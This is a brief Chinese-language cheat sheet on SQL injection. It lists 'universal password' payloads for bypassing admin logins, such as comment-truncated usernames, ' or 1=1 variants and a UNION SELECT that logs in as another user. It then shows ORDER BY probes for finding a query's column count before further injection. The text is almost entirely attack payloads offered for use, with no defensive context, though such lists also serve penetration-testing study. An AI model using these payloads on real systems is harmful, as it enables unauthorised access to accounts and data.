SQL注入

SQL注入

后台万能密码

  • ​admin' --​
  • ​admin' #​
  • ​admin'/*​
  • ​' or 1=1--​
  • ​' or 1=1#​
  • ​' or 1=1/*​
  • ​') or '1'='1--​
  • ​') or ('1'='1--​
  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--​

　　‍

  • 使用 Order by​ 确定列数，方便后续注入。
1
2
3
id = 1 Order by 1;
id = 1 Order by 2;
id = 1 Order by 3; # 报错 确定列数为 2